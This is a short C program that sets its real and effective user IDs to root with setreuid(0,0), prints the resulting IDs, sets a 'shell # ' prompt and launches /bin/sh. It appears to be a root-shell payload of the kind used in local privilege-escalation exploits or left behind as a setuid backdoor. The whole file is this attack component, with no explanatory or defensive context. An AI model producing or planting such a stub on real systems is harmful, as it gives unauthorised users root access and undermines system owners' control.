#include <stdio.h>
#include <stdlib.h>

int main(int argc, char **argv)  {
    char *sh = "/bin/sh";
    char *args[2];

    args[0] = sh;
    args[1] = NULL;

    setreuid(0,0);
	printf("\n\n[*] Executing shell with uid=%d and euid=%d\n", getuid(), geteuid());
    putenv("PS1=shell # ");

    execv(sh, args);
}